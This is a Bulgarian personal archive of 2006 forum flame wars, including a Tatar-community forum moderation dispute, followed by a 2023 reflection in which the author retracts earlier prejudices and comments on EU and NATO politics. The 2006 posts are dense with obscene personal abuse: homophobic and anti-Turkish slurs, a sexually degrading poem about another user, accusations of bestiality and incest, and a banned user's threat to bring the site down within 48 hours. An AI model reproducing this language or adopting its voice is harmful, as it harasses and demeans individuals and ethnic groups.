ПРОСТО СЕ ПОЛУЧАВА ЕДИН ЕФЕКТ, когато се актуализират свойства, които при нормално контактуване са латентни.
"И преди да попиташ къде, ами просто прочети какви си ги написал за майките и бащите на колегите."
А те какво писаха за мене, "колегите ти"?
"А за стила, висок нисък, все ми е тая, стига тона да поне близо до приличен. "
Взе да обръщаш на мазнишката си тактика, а?
"Пък като не се оправяш добре с българския, праскай и чуждици, като IPSE DIXIT"
НЕДОУЧКО МАЗЕН, това е термин от ФИЛОСОФИЯТА и не е ЧУЖДИЦА , А Е ЗАЕМКА! Има разлика. Казах ти аз, че няма да можеш да го разбереш, ама що ли направи жалкия си пореден, но не последен опит да белснеш с нещо?
", само дето този термин се отнася точно до твоя начин обосноваване, пълна липса на факти в защита на тезата ти."
Ти си с липса на факти, Мазньо. А, аз тука ти показвам даже синтези, ти не си видял тезата... Колко си ми примитивничък, почти колкото Берсека и Оня!
"А това, че си 175, не значи, че не си хобит, те и японците бяха ниски, ама киселото мляко прави чудеса :)"
Ами ти една книга си прочел и пак не си схванал основните черти на хобитите. Една от тях не е ли да са доста по-ниски от 175 см.? Или ти , като Тлъстогорн, взе да говориш кесим?
А за японците - май не си чувал за акселеративното действие на радиацията.
"Пък и ти не си точно хобит, а ам-гъл :)"
Амгъл е детето ти, Мазньо, а ти си Мазен шкембак!
"И бегай при жената, че то пари пари, ама до време, те и друго искат (т'ва също от опит го знам :))"
Ами ти голям познавач ще излезнеш. А, кото знаеш, толкова много за женските потребности, не знаеш ли, че хората от женски пол не харесват мазни, шкембести отрепки, та да вземеш някакви мерки? (Вярно, че то при тебе е на ниво абстракта възможност, ама все пак!!!)
" Аре и спри да се пениш, да не даде на късо клавиатурата"
Отново завидните ти познания по компютри! Я се опитай да качиш някоя снимка от Ц-то на компа си, може пък да се получи ?!
Със здраве, Мазньо!
中共
Thu Mar 30 19:41:07 2006
ДОБРУДЖАНСКИ, ЧЕТИ ОТГОВОРА СИ ТУК, ПОНЕЖЕ ТЕМАТА Е ЗАКЛЮЧЕНА: редактиране |
--------------------------------------------------------------------------------
Първо до френдчето на Логруса:
Батка, ти си бил УМОПОМРАЧИТЕЛНО ТЪПО ПАРЧЕ!
Ами разбира се, че не съм ЛОГРУС, нито останалите 17 ника, които ми бяха приписани. Ти сериозно ли се връзваш на провокациите на педалчовците?!
________________
Нямало начин да съм аз. Ами да. Не пия бира.
Но в оплакването си Логруса е много прав, нали? ЗАЩО НЕ ГОВОРИШ ПО ТАЗИ ТЕМА, МИ СКОКВАШ НА ДРУГА? Неудобно ли е да се говори за двойствените стандарти на олигофренското модериране в ДАОБГ-то?
**************
**************
**************
А СЕГА ДА ОТГОВОРЯ ТУК И НА СКЕЛЕТЧО(Добруджанското говедо):
Драго ДОбруджанско Черепче Кухо,
1. Тотално си оплескал нещата с икономиката - хем не ми отоговори на въпросите, хем си допуснал нови грешки, хем се опитваш да откланяш темата.
2. Престани с това клише за авторитетите и аргументите. В случая няма нито едното нито другото така че даже и шегата е излишна. А иначе ето малко про -аргументи за това, което ти, който си лоялен към множество авторитети
критикуваш като "позоваване на авторитет":
- понякога позоваването на авторитет и ОСОБЕНО ЧЕСТО в аналитичната традиция представлява съкратен запис на аргумент или група аргументи (в контекст), което има смисъл, когато и двете страни познават контекста и аргументите. Понякога критиката от типа на "не се позовавай на авторитети" е криене на главата в пясъка когато 1. не се приема този подход, който има доста удобства, btw, 2. когато има притеснения от силата на аргументите, скрити зад позоваването на авторитета и в крайна сметка 3. когато не се познават аргументите, скрити зад етикета. Така че не приемам по никакъв на4ин обвинения 4е се крия зад авторитети. В случаите, когато подхвърлям име или теза, без да я аргументирам експлицитно разчитам и особено на теб че познаваш и разбираш това, което кодирам по този начин. А ти приемаш отбранителна позиция и нападаш за процедурата, което е излишно и демонстрира слабост в твоята (аргументативна) позиция.
3. Разпределението :
а/ НЕ Е РАВНОМЕРНО В РАЗВИТИТЕ СТРАНИ!
Я ВИЖ САЩ И ФРАНЦИЯ! Или те са недоразвити?
б/ СЪЩОТО Е И В ИЗОСТАВАЩИТЕ СТРАНИ ПО НЕРАВНОМЕРНОСТ:
БЪЛГАРИЯ е почти на нивото на ФРАНЦИЯ!
АЗЕРБАЙДЖАН е почти както АВСТРАЛИЯ!
Нещо да имаш да кажеш на въпреки?
4. Понеже си простак не знаеш, че Аполон въобще не е някаква изключителност като тяло!
Знам, че от много правене на секс с животни (нали го и рекламираш по ДАОБГ-то) не ти остава време за култура, затова ще ти го покажа как изглежда:
Вероятно дори скелет като тебе има по-добри пропорции и мускули. Да не говорим за мен!
Иначе за баба си като си взел да говориш - вземи поне я опъни, за да се превърнеш от зоофил в геронтофил, ама гледай като умре да не продължавате със забавлянията, че ще станеш некрофил и пак ще трябва да те мислим как да те лекуваме, разбираш ли, значи.
И накрая да ти посветя и аз едно стихотворение, че няма как да ти го напиша в ДАОБГ-то:
Малкият Добруджанчо е голям педалчо.
Сутрин бодро крачи, със сопол се влачи.
Мама го намира и му го навира.
Гадна мамица е тя - херма с пенис недобра!
Всички знаят зоофила - Скелетчо-Дебила!
За козички пише той и опъва ги безброй!
Докторът не го разбира, Скели взе да мастурбира!
И стоейки до стената свърши си сам във устата!
Оня бързо го намери и се леко разтрепери,
Скелетчо се изчерви и се диво задиви!
Рече си "Кат ще се мре - то поне от хуй да е!
И надупи се пред Оня и го праснаха кат коня
( Дето преди 3 години Скелетчо издебна
И в гъзеца животински сладичко поебна! )
Всичко се връщааааа...
Anonymous
Thu Mar 30 20:49:13 2006
Отг: za Logrus
--------------------------------------------------------------------------------
поСер, как сме, злобно тракаме на клавиатурката, а? Прегледах мнението ти за БВП и знаеш ли какво разбрах - и понятие си нямаш от икономика, цитираш ми някакви постановки от начален курс по Макроикономика, ходиш да четеш по сайтовете и после просто "copy-paste" на български, а мисъл в главичката ти детска нема. Обяснявам ти като на малоумен - Китай има по-висок БВП от Норвегия или Швеция, да речем, но по-нисък per capita. В коя държава стандартът на живот е по-висок и кой показател отразява по-ясно това? Няма нужда да ми отговаряш - знам отговора, и смешник, не ми излизай с номера за разпределението на БВП - в развитите държави е почти равномерно, така че си задръж примерите/изключения. Между другото, всичките ти мнения са в този стил - цитати и идеализирани постановки, кой-какво казал, а твое мнение не виждам. Понеже си нулев авторитет си служиш само с цитати на други хора - я Доктора, я някой философ... И като малките деца - "Татар, ти си тъп", -"Не ти си тъп, видя ли как те наредих, муахахаха", много си жалък, дай да видим нещо оригинално. Нямам намерение да споря с теб на тема икономика, защото няма какво да ми предложиш насреща, но смятам, че има какво да ме научиш в областта на бодибилдинга и развиването на "тяло на Аполон". Я, ме светни сега в детайли - ако нямам стълбище, може ли да нося баба ми по равно и да го комбинирам, например с напади, ще го наречем "бабините напади". Предполагам, носейки баба си на ръце, че ще хвана повече предната част на бедрото, ама мойта баба е 100кг и ще ми е трудно да я държа дълго. Ако я нося на гръб, може ли да я накарам да се държи за челото ми - така ще работя врат и крака заедно?
Чакам твоите отговори, ако може със снимки, за да видя как точно се прави. Ако нямаш баба под ръка, ползвай козата, ама да не пратиш ххх-фотоси, палавнико!
_________
Не знаех, че са те баннали до 2019г:), това наистина ме развесели истински, трябва да признаеш, че е доста забавно, нали! Спокойно, ако исках да се крия, щях да мина през някое прокси, за де не ми виждате АЙПИ-то, но аз наистина се забавлявам с теб... Олигофренизмите и простотиите ги ръсиш ти, моето момче, ако сам си прегледаш постингите ще забележиш, че по-големи обиди и мръсотии от теб никой не ръси. Аз съм направо светец в сравнение с теб що се отнася до вългарност! Рабира се, след като се изпуснеш и "нашляпаш" цинизмите е късно за ревизия и сега твойта работа стана "крадецът вика "дръжте крадеца". Знам, че се чувстваш гузен, че така лесно се палиш и си изпускаш нервите и всички тук те виждат колко си жалък в опитите си да прикриеш множеството си комплекси, но такъв е животът... Никой не се опитва да спори с теб, палячо, просто те пързулваме леко и те гледаме как изкарваш цяла волна програма, че и на бис излизаш даже, много разпускащо ми действаш след тежък работен ден.
Не се прави на много умен - не съм в София, а във Варна, едно АЙПИ не можеш да проследиш като хората.
П.С. И не прекалявай с лизането на задника на BoloY, сигурен съм, че ще си свърши работата след като напълнихме форума с простотии. Аз лично няма да се сърдя, ако ме баннат, но пък няма да е справедливо да баннат мен, а теб да те оставят, нали? Едно въпросче и от мен - казваш, че трябвало да ме баннат от ДАО-то за това:
..............
Хайде сега, мой, и аз да се включа
от хумора твой, припадък ще получа,
със Татара ти недей се ебава,
защото щом дойде ще свърши таз забава.
С ножове, жената китайска, козата
Татара още утре ще чука на вратата.
И няма прошка, мой, за тези твои думи
ще почнеш да мънкаш, да разтягаш локуми,
Че Татара, мой, тез най-ги обича,
разните му там биячи да спича,
защото дошло е време разделно,
и това, бе мой, да ти ясно пределно,
че Татара, мой, момчето от квартала,
не допуска той да го правят на балама
аванта не пуска, на разни мутряги,
Григор ли си, къв си, на ти сто тояги!
Сега продължавам, мой, да разказвам
техники мортални няма да показвам
само ще те светна, мой, на две, на три
ако ти е мил живота, да четеш се поспри.
Мислиш, че Татара гей го раздава,
мислиш, че момчета голобради задява,
мислиш си още, че за задника твой,
Татара готов е за ляв завой ?
Няма грешка, прав си, истината боли
Татара е влюбен в теб, разбери
Сигурно си мислил, мой,като го скива
че е безащитен и слаб като слива,
че ще има нужда от назъбник и каска
а той си мечтаел за мъжка ласка
и търсил е само повод много дни
на тепиха, мой, да се търкаляте сами.
Сега ще те светна, мой, в бързината
как забягна той в Китай при козата,
Разбрал е той, мой, че педалите дебнат
татарския свеж задник да ебнат,
защото Татара с аполонското тяло
привличал гейове лятото цяло,
Но за Григора, таз странна птица,
татарчето, мой, се пазил девица.
Решил да напусне братството,квартала
петицата продал, кинтите в чувала
и първия самолет хванал за Пекин
в главата му, мой, лозунг един
"Изкуства бойни и дойни ще уча,
дано ми върви и с коза да сполуча"
Сега продължавам, мой, да редя
татарския лайф ще проследя,
чул е в Китай от ченгетата мръсни,
дето, мой, ги е купил по добите късни,
че Григор по мъжко, мой, не си пада,
ами манекенки чука до забрава
И омраза силна към всички жени
(е, не и към двете му вярни кози)
затаил Татара, мой, в своите гърди.
И заклел се, мой, че няма да позволи
на тез двугъзи,прости, шибани жени
и на Григор - добре ше ги подреди.
И него, и шибаните му манекенки
на небето ще прати( да му бъдат фенки).
Няма време, мой, идва Татара
чух как петицата спря на портала,
Май вкусът в устата ти стана солен,
казах ти да не се ебаваш с татара бе, кретен!
Не ми се надувай, на колене се моли,
късно е вече - шурикена лети...
...........
А заради следващото не трябва ли тебе да баннат от АБВ?:
...............
Вероятно дори скелет като тебе има по-добри пропорции и мускули. Да не говорим за мен!
Иначе за баба си като си взел да говориш - вземи поне я опъни, за да се превърнеш от зоофил в геронтофил, ама гледай като умре да не продължавате със забавлянията, че ще станеш некрофил и пак ще трябва да те мислим как да те лекуваме, разбираш ли, значи.
И накрая да ти посветя и аз едно стихотворение, че няма как да ти го напиша в ДАОБГ-то:
Малкият Добруджанчо е голям педалчо.
Сутрин бодро крачи, със сопол се влачи.
Мама го намира и му го навира.
Гадна мамица е тя - херма с пенис недобра!
Всички знаят зоофила - Скелетчо-Дебила!
За козички пише той и опъва ги безброй!
Докторът не го разбира, Скели взе да мастурбира!
И стоейки до стената свърши си сам във устата!
Оня бързо го намери и се леко разтрепери,
Скелетчо се изчерви и се диво задиви!
Рече си "Кат ще се мре - то поне от хуй да е!
И надупи се пред Оня и го праснаха кат коня
( Дето преди 3 години Скелетчо издебна
И в гъзеца животински сладичко поебна! )
Всичко се връщааааа...
.....................
За едно си прав, смешко - всичко се връща:)!
______________
Отг: Не, не става дума за някаква редактиране | oтговор на това съобщение
--------------------------------------------------------------------------------
"Победите в първите години били 20. Я, да вземем да смятаме - 4 години по 5 турнира е = 20 турнира, по 10 срещи средно на турнир е = 200 срещи т.е. са взели 10% от всички срещи, а в половината срещи играят японци(без полуфиналите и финалите, защото не стигат до тях), значи 20% успеваемост, много зле, а сега вземат по-малко срещи от тогавашния период.
"
ДОРИ И ДА ПРИЕМЕМ, ЧЕ Е 20% успеваемостта, когато не ги съпоставяш с КЮПА, а с КОНКРЕТНИТЕ НАЦИИ ще видиш, че не са малко.
Един работен пример:
Ако сравняваш 20% с кюпа става 20 % към 80%. Ама, ПРИМЕРНО, ако съотношението е такова:
20% към (20%+15%+15%+10%+10%+5%+5%) и е примерно разпредеелено така:
японци-20% към (бразилци 20% + амриканци15% + руснаци15% + .... + други5%),
ТОГАВА КАКВО? МАЛКО ЛИ Е?
_________
"Каква е разликата в сравнението "нация-нации" и "нация-нация" при положение, че говорим за японците и тяхното представяне на турнира като съвкупност от чуждестранни бойци? Сега да не излезеш с номера, че ако сравним японците с румънците, например, ще излезе, че са по-добри, смешко."
Сине на смешко, разликата е в това, че се сравнява коректно.
Ще ти дам пример с населението на Китай. Известен факт е, че китайците са НАЙ-МНОГОБРОЙНИЯ НАРОД. Но това се разбира само като го СЪПОСТАВИШ С КОНКРЕТНИТЕ ДРУГИ НАРОДИ, А НЕ С КЮПА, С НАСЕЛЕНИЕТО КАТО ЦЯЛО. Тогава стават едва ли не нещо като тези работни 20% и излиза, че китайците са малко! А, повярвай, не са.
Такива ми ти прости нещица.
За последните 5 години - дай ми линк и с удоволствие ще ти направя справката. Само, че да не стане така да съжаляваш, че си зачекнал и този период. Вече като гледам търсиш спасителен пристан и сламчица, за да се хванеш. Аз на тове място бих се отказал.
За татарите на Прайда бих задал 2 аналогични въпроса:
-Къде са нетатарите на "САБАНТУЯ"(Татарски ежегоден празник, където се провеждат борби!
-Къде са българите на Прайда? Защо румънците имат участие, а българите нямат?
Или българите са много смъртоносни?
Вече съм коментирал по подобни поводи, но ето и тук едно обобщаващо:
1. В онези години повечето от нас бяха сравнително-млади хора, които се поддаваха много на емоции. В днешно време, поне доколкото виждам из нета, повечето са улегнали, говорят разумно, не си позволяват такива простотии. Някои, лека им пръст, вече не са между нас.
2. Въпреки че голяма част от некултурностите са били предизвикани и адекватни на ситуацията, намирам за ненужно всичко това и е трябвало да се откажа, да вложа времето в по-полезни за развитието и саморазвитието си неща.
3. Много от политическите мнения изказани по онова време в момента са доста неактуални - напр. Китай вече не може да бъде даван за пример за евтин живот, социализъм и т. н., а китайците, които бягат не са задължително само некадърните, алчните... нещата отиват към неофеодализъм, неомонархизъм и, дори към неоимпериализъм (дано да се размине!)
4. В същото време българският народ, като цяло, вече е доста по-политически грамотен и няма стадност като едновреме (двуполюсния модел). Каквито и кусури да има, българската демокрация поне е демокрация.
След влизането в ЕС, зависимостта от Турция и Русия, особено в днешно време, е намаляла. Да, наистина няма напълно независими държави, но на днешния фон, ако България не беше в ЕС и НАТО, какво можеше да се очаква? Да стане като Беларус или Молдова? Ами, ако трябва да се сравнява, и избира, то с това членство в ЕС и НАТО, България е с пъти по-защитена и с пъти по-свободна, отколкото страни като споменатите, а и Сърбия, да речем. А и качеството на живота, стандартът вече е осезаемо по-добър, отколкото в много от тези, които са извън ЕС.
В края на краищата, оказва се, че това е бил най-добрият възможен избор за България.
5. Повтарям, потретвам и, ако трябва, постотвам, че с времето преодолях всякакви народностни, етнически и всякакви предразсъдъци - нямам вече капка дискриминационно отношение, нито изказвания, нито писания срещу някой, някоя или някои защото са от този, а не от онзи етнос. С времето видях, научих, преживях, че във всеки етнос, народност, нация си има всякакви хора. Езикът, паспортът/гражданството, цветът на кожата, формата на черепа и т. н. не ги правят с нещо по-долни или по-горни; всичко си е до конкретния индивид. Естествено, че има преобладание на някои неща - да речем, че при дадена народност престъпността в момента е по-голяма, отколкото при друга (например мексиканците са с по-висока престъпност отколкото норвежците), но това не значи да слагаме всички в кюпа като "щом е мексиканец, значи е опасен" или пък "щом е норвежец, значи е прекрасен човек"!
6. Силно осъждам всякаква агресивност, всякакви видове агресии и съм твърдо за мир, разбирателство и взаимоизгодно сътрудничество! Особено силно започнах да оценявам тези неща след влошаването на Русия и на Китай (в политически, културен, икономически и идеологически аспекти).
7. Ако съм засегнал несправедливо някой, някоя, някои, държа да поискам извинение!
8. Ако има въпроси за нещо конкретно откъм изминалите неща, писани през 2005-2006 или по сегашните (2023), моля питайте и ще отговоря.
-
Понеже е много свързано с това, че по-добре е сегашното НАТО и ЕС зависене, отколкото да си извън тях и да си лесна плячка на Русия и други подобни, прилагам подобен диалог на други хора, преразказан:
Във връзка с "Пентагонлийкс" и това, че дори и Сърбия давала оръжие на Украйна:
- Нека да е ясно, че Западът (основно - САЩ, според мен) има лостове да направлява политическите решения във всички източноевропейски страни (а и, доколкото разбираме и другаде, в Южна Корея, например, бих допълнил). Това е и причината да се декларира една позиция (която е за пред обществото), а да се върши каквото е разпоредено.
- Това е ясно, но и много по-добре дошло от това Москва да продължи да ги има тия лостове.
С една дума, не отричам, че България си е със зависимост в една или друга степен, има полуколуниалност (в политологичен смисъл) до някакво ниво, но това е много по-добре, отколкото да е почти пълна колония както става с Беларус, например или да е на мястото на Украйна, Молдова, Армения, Сърбия...
Просто след като видяхме на какво е способен рашизма и неоимператоризираните като цяло, НАТО и особено ЕС станаха ясно, отчетливо по-добрият избор. Пак казвам - всеки си има вкус, на някои може да им е по-добре да си живеят в полусредновековните неофеодализирани места, където свободата, човешкото достойство и ценност на човешкия живот, икономиката и др. важни неща са сведени до минимум, но не всеки обича това.
Друго: В по-предния пост някои от мненията от изминалите години са повторени, други са нови, а трети (например мои отговори) липсват, защото не съм успял на времето всичко да запазя, а и по-сетне при повреди на компютрите загубих доста информация (файлове), които бях запазил, та затова нещата са малко хаотични, повтарящи се понякога, липсващи отговори, но толкова е останало, а и нямам много време сега, когато гледам да припейстна всичко тук, за да е колкото се може по-пълен архивът, преди да се преместя и да продавам този стар тежък компютър.
-
Имейлче от преди много години.
" Здрасти, бабо!!!
Тези дни нямахме Интернет, ама го платих за една година и вече ще имаме. Квартирата ще я сменяме на същия етаж, което улеснява преместването на багажа. Освен това там има хладилник, пералня и повече шкафове с етажерки, както и задължителния за почти всяка квартира в Китай телевизор, но лошото е, че е само една стая с баничка и един ъгъл с кухничка - около 40 квадрата само. По 200 лева на месец е наема."
Вече няма толкова евтино, ако става дума за същия китайски град. Доста неща вече не са същите, както бяха в доброто старо време в Китай. С такава рефеодализация, какво да се очаква, всъщност?
-
Незабравимо. От първия ми сайт, който продадох отдавна:
"Поздрави: kry4ma.com - първа виртуална българска кръчма : Свободна трибуна за баннати от други форуми + Запознаства с азиатки + Алтернативна енциклопедия за нещата, които ги няма по някакви причини в Уикипедия + Безплатни реклами за всички + Интересното от други форуми + Безплатни уроци по италиански, и китайски и много друго!"'
:) :) :)
-
От 2006 г., относно опита с развитието на татарския сайт. Фрагменти:
Повечето бяха вече описани в: http://www.seo-forum-seo-luntan.com/other-languages/a-ee-ooe-me-ot-otmate-o/msg19644/#msg19644 (http://www.seo-forum-seo-luntan.com/other-languages/a-ee-ooe-me-ot-otmate-o/msg19644/#msg19644)
__________________
Май целият проблем беше заради някакъв радикализиран пантюркист. Това май е свързано:
[ 13 Мнения ] [ Виж IP адреса ]
Потребители, писали от този IP адрес
Alperen [ 13 Мнения ]
Гост [ 1 Мнение ]
Други IP адреси, от които е писал този потребител
[ 13 Мнения ] [ Виж IP адреса ]
[ 10 Мнения ] [ Виж IP адреса ]
[ 9 Мнения ] [ Виж IP адреса ]
[ 6 Мнения ] [ Виж IP адреса ]
[ 2 Мнения ] [ Виж IP адреса ]
[ 2 Мнения ] [ Виж IP адреса ]
[ 1 Мнение ]
Махам айпи-тата, те отдавна не са актуални и без това, предполагам.
Прехвърлям всичко, че скоро продавам компютъра и да няма нещо недоизползвано, недопрехвърлено.
-
Явно съм ги запазвал на няколко пъти, защото тук има още допълнителни детайли, та припействам, за да няма загуби на съдържание; колкото се може по-пълни да са архивите. Ясно, че е всичкото от 2006 година:
"Alperen
Регистриран на: 27 Юни 2006
Мнения: 56
Местожителство: Plovdiv
Пуснато на: Съб Юли 29, 2006 4:01 pm Заглавие:
Последната промяна е направена от Alperen на Пон Юли 31, 2006 8:34 pm; мнението е било променяно общо 2 пъти
Върнете се в началото
Далай_Татар
Регистриран на: 20 Юни 2006
Мнения: 145
Пуснато на: Съб Юли 29, 2006 4:28 pm Заглавие:
БАН ПОЛУЧИ, ЗАЩОТО:
1. Не се спря с обидите, макар че и True_tatar те предупреди, не само аз МНОГОКРАТНО!
2. Не говориш по същество, а спамваш темите с безсмислиците си, написани ГЛАВНО на турски!
________
Даже славяно-българите посетили този форум се държат по-нормално от тебе! Ти си срам за татарския народ и писанията ти, които вероятно са плод на болен мозък или системната ти злоупотреба с алкохол (за която ЛИЧНО СИ МИ СПОДЕЛЯЛ!) нямат място тук!
***************
Регистрирай се пак, ако решиш, че можеш да се държиш, АКО НЕ КАТО ИСТИНСКИ ТАТАРИН, ТО ПОНЕ КАТО НОРМАЛЕН 26 ГОДИШЕН МЪЖ КАКЪВТО БИ ТРЯБВАЛО ДА СИ, АКО ЛИ НЕ, ще бъдеш баннат и по АЙПИТАТА СИ (които си ги наблъскал няколко) и дотам!
Ако желаеш си намери някой турски форум, дето да правиш Пантюркистката си пропаганда и да пишеш на турски. Това е форум на татарите в България. И АЗ ЖИВЕЯ В КИТАЙ, НО НЕ СЪМ ВЗЕЛ ДА ВИ ПОСТВАМ НА КИТАЙСКИ ИЛИ ДА ВИ ПРОПАГАНДИРАМ СОЦИАЛИЗМА ОТ КИТАЙСКИ ТИП, НАЛИ?
Тука сме, за да помагаме за развитието на културата на татарите!
ТОЧКА ПО ВЪПРОСА!
Usually I am translating in English, but this time I will not, just because I understood that your specific brain is unable to get some foreign language except your favourite Turkish.
_______
_________________
____________________
Единство на ТАТАРЛЪКА, Единство на ИЗТОКА. Велик Източен Съюз.
Върнете се в началото
AlperenBozkurt
Гост
Пуснато на: Нед Юли 30, 2006 5:58 am Заглавие:
"""1. Не се спря с обидите, макар че и True_tatar те предупреди, не само аз МНОГОКРАТНО!
"""
dobre de ti imash li pravo da me vika6 bilgin , eni4eri. ti kak moje6 da kaje6 tolkova sigoren 4e se kazvam bilgin basaran, nali na foruma sam pisal imeto mi kamuran ozturk. ti ili nego razbira6 ili si tap!!! ti dokato ne smeni6 da me vika6 bilgin, ti si inek shaban!!!
""""Ако желаеш си намери някой турски форум, дето да правиш Пантюркистката си пропаганда и да пишеш на турски. Това е форум на татарите в България. И АЗ ЖИВЕЯ В КИТАЙ, НО НЕ СЪМ ВЗЕЛ ДА ВИ ПОСТВАМ НА КИТАЙСКИ ИЛИ ДА ВИ ПРОПАГАНДИРАМ СОЦИАЛИЗМА ОТ КИТАЙСКИ ТИП, НАЛИ?
Тука сме, за да помагаме за развитието на културата на татарите!
ТОЧКА ПО ВЪПРОСА!
""""
az ne sam pravil turska propaganda, kogato se kazva turk vseki misli 4e za turci koito sa ot turciq. tatarite ne sa ot turcia te sa kap4aci, a v turcia , turcite sa ot oguz imat si razlika. az iskam da kaja turcia za nas e vajno.
sega, za teb kazvam sabancho
tozi sait mnogo prost, mnogo lesno se pravi i ti sega si pravil na istina katastrova.tuka e tvoe carstvo, tvoi krepost oba4i ot nailon az informatika u4a i ako ne me puskate vatre za 48 4asa saita falira kazah 48 4asa 6toto rabotya ,nqmam vreme
Kimseyi uzmek istemiyorum, 48 saat icinde beni geri almazsaniz siteyi kapatmak zorunda kalicam.
saygilar ALPEREN
Върнете се в началото
Далай_Татар
Регистриран на: 20 Юни 2006
Мнения: 145
Пуснато на: Нед Юли 30, 2006 8:01 am Заглавие:
Да, знам, че се занимаваше с хакерство, нали все пак учиш някаква информатика на български!!! ОТДЕЛНО - ПОЗДРАВЛЕНИЯ ЗА ТОВА, ЧЕ СЕ ИЗДАДЕ КОЙ СИ И КАКЪВ СИ!!!
"БОЗКУРТ" - ТУРСКАТА ТЕРОРИСТИЧНА ОРГАНИЗАЦИЯ - "СИВИТЕ ВЪЛЦИ", а?
ЩЕ ХАКВАШ САЙТА НИ ДО 48 ЧАСА!
Ще изпратя заплахата ти до МВР, както и до службите за борба с организираната престъпност.
ВЪЗМОЖНО Е ДА ТИ БЪДЕ ПРЕКРАТЕНО СЛЕДВАНЕТО В БЪЛГАРИЯ И, КО НЕ В ЗАТВОРА, ДА СЕ ОЗОВЕШ ОБРАТНО В ЛЮБИМАТА СИ ТУРЦИЯ, КЪДЕТО МОЖЕ ДА НЕ ПИШЕШ НА КИРИЛИЦА И БЪЛГАРСКИ, А САМО НА ТУРСКИ!
_________________
____________________
Единство на ТАТАРЛЪКА, Единство на ИЗТОКА. Велик Източен Съюз.
Върнете се в началото
Гост
Пуснато на: Нед Юли 30, 2006 2:23 pm Заглавие:
""""Да, знам, че се занимаваше с хакерство, нали все пак учиш някаква информатика на български!!! ОТДЕЛНО - ПОЗДРАВЛЕНИЯ ЗА ТОВА, ЧЕ СЕ ИЗДАДЕ КОЙ СИ И КАКЪВ СИ!!!
""""
ave shaban oglu shaban az sam kazal koi sam o6te kogato 4lenuvah na saita , ti sega go razbra nali, tapanar .
'''"БОЗКУРТ" - ТУРСКАТА ТЕРОРИСТИЧНА ОРГАНИЗАЦИЯ - "СИВИТЕ ВЪЛЦИ", а? '''''
eto pak si4ko znae na6iq shaban, da terorist sam. ee mnogo si umen maina. ot 6 godini sam tuka samo ti me pozna. tapanar oglu tapanar
"""ВЪЗМОЖНО Е ДА ТИ БЪДЕ ПРЕКРАТЕНО СЛЕДВАНЕТО В БЪЛГАРИЯ И, КО НЕ В ЗАТВОРА, ДА СЕ ОЗОВЕШ ОБРАТНО В ЛЮБИМАТА СИ ТУРЦИЯ, КЪДЕТО МОЖЕ ДА НЕ ПИШЕШ НА КИРИЛИЦА И БЪЛГАРСКИ, А САМО НА ТУРСКИ!""""
da she me rejat glavata, tva ne sait we, tva ne 48 4asa za 2 maina, na tva ne trqbva da si haker tva 6e padne ot vqtara. ti misli6 li seriozno koito falira tozi sait e haker???
Върнете се в началото
alperen1
Гост
Пуснато на: Нед Юли 30, 2006 2:26 pm Заглавие:
Anonymous написа:
""""Да, знам, че се занимаваше с хакерство, нали все пак учиш някаква информатика на български!!! ОТДЕЛНО - ПОЗДРАВЛЕНИЯ ЗА ТОВА, ЧЕ СЕ ИЗДАДЕ КОЙ СИ И КАКЪВ СИ!!!
""""
ave shaban oglu shaban az sam kazal koi sam o6te kogato 4lenuvah na saita , ti sega go razbra nali, tapanar .
'''"БОЗКУРТ" - ТУРСКАТА ТЕРОРИСТИЧНА ОРГАНИЗАЦИЯ - "СИВИТЕ ВЪЛЦИ", а? '''''
eto pak si4ko znae na6iq shaban, da terorist sam. ee mnogo si umen maina. ot 6 godini sam tuka samo ti me pozna. tapanar oglu tapanar
"""ВЪЗМОЖНО Е ДА ТИ БЪДЕ ПРЕКРАТЕНО СЛЕДВАНЕТО В БЪЛГАРИЯ И, КО НЕ В ЗАТВОРА, ДА СЕ ОЗОВЕШ ОБРАТНО В ЛЮБИМАТА СИ ТУРЦИЯ, КЪДЕТО МОЖЕ ДА НЕ ПИШЕШ НА КИРИЛИЦА И БЪЛГАРСКИ, А САМО НА ТУРСКИ!""""
da she me rejat glavata, tva ne sait we, tva ne 48 4asa za 2 maina, na tva ne trqbva da si haker tva 6e padne ot vqtara. ti misli6 li seriozno koito falira tozi sait e haker???
vijdas6 li hem sam bannat hem pak moga da pi6a na saita tva hakerstovto li e ili tvoeto tapanarstvo????
Върнете се в началото
Далай_Татар
Регистриран на: 20 Юни 2006
Мнения: 145
Пуснато на: Нед Юли 30, 2006 3:42 pm Заглавие:
"vijdas6 li hem sam bannat hem pak moga da pi6a na saita tva hakerstovto li e ili tvoeto tapanarstvo????"
Тъпанарство е твоето, че не разбираш български, еничерю! Казах ти, че си баннат по ник и, ако искаш можеш да регнеш друг. В момента пишеш като гост, НЕЩО ЗА КОЕТО ИЛКИН 100 ПЪТИ Е ПРЕДУПРЕЖДАВАЛ, ЧЕ НЕ БИВА. Е, АКО ИСКАШ ДА СИ ИГРАЕМ НА БАНВАНЕ, КАЖИ И ЩЕ ТЕ БАННА ПО АЙПИТАТА ТИ?
_________________
____________________
Единство на ТАТАРЛЪКА, Единство на ИЗТОКА. Велик Източен Съюз.
Върнете се в началото
Далай_Татар
Регистриран на: 20 Юни 2006
Мнения: 145
Пуснато на: Нед Юли 30, 2006 3:48 pm Заглавие:
""""
"ave shaban oglu shaban az sam kazal koi sam o6te kogato 4lenuvah na saita , ti sega go razbra nali, tapanar . "
Не ми говори на "АВЕ", щото още не съм станал Цезар. А тъпанар викай на баща си, че те е възпитал такъв еничерин долен!
"eto pak si4ko znae na6iq shaban, da terorist sam. ee mnogo si umen maina. ot 6 godini sam tuka samo ti me pozna. tapanar oglu tapanar"
Аз, ако съм "Тъпанар-оглу", ти трябва да си "Имбецил-оглу", Еничер скапан!
"da she me rejat glavata, tva ne sait we, tva ne 48 4asa za 2 maina, na tva ne trqbva da si haker tva 6e padne ot vqtara. ti misli6 li seriozno koito falira tozi sait e haker???"
Добре турски олигофрен, прави каквото знаеш, аз съм уведомил полицията, да става каквото ще. Личи си кой е за ДЕЛОТО на татарите и кой е социопатизиран турски агент!!! Не казвай, че си татарин, че си по-лош и от едно татарско лайно!
ОЩЕ ЕДНА ОБИДА И ЩЕ БЪДЕШ БАННАТ ПО АЙПИТАТА СИ! НЯМАМ НАМЕРЕНИЕ ДА ТИ ТЪРПЯ ТУКА СПАМЕНЕТО И КРЕТЕНСКИТЕ ИСТОРИИ, ЕНИЧЕР ИМБЕЦИЛ-ОГЛУ!
_________________
____________________
Единство на ТАТАРЛЪКА, Единство на ИЗТОКА. Велик Източен Съюз.
Върнете се в началото
Илкин Илхан
Регистриран на: 20 Юни 2006
Мнения: 59
Местожителство: Русе , Ветово / Ruse, Vetovo
Пуснато на: Нед Юли 30, 2006 7:14 pm Заглавие:
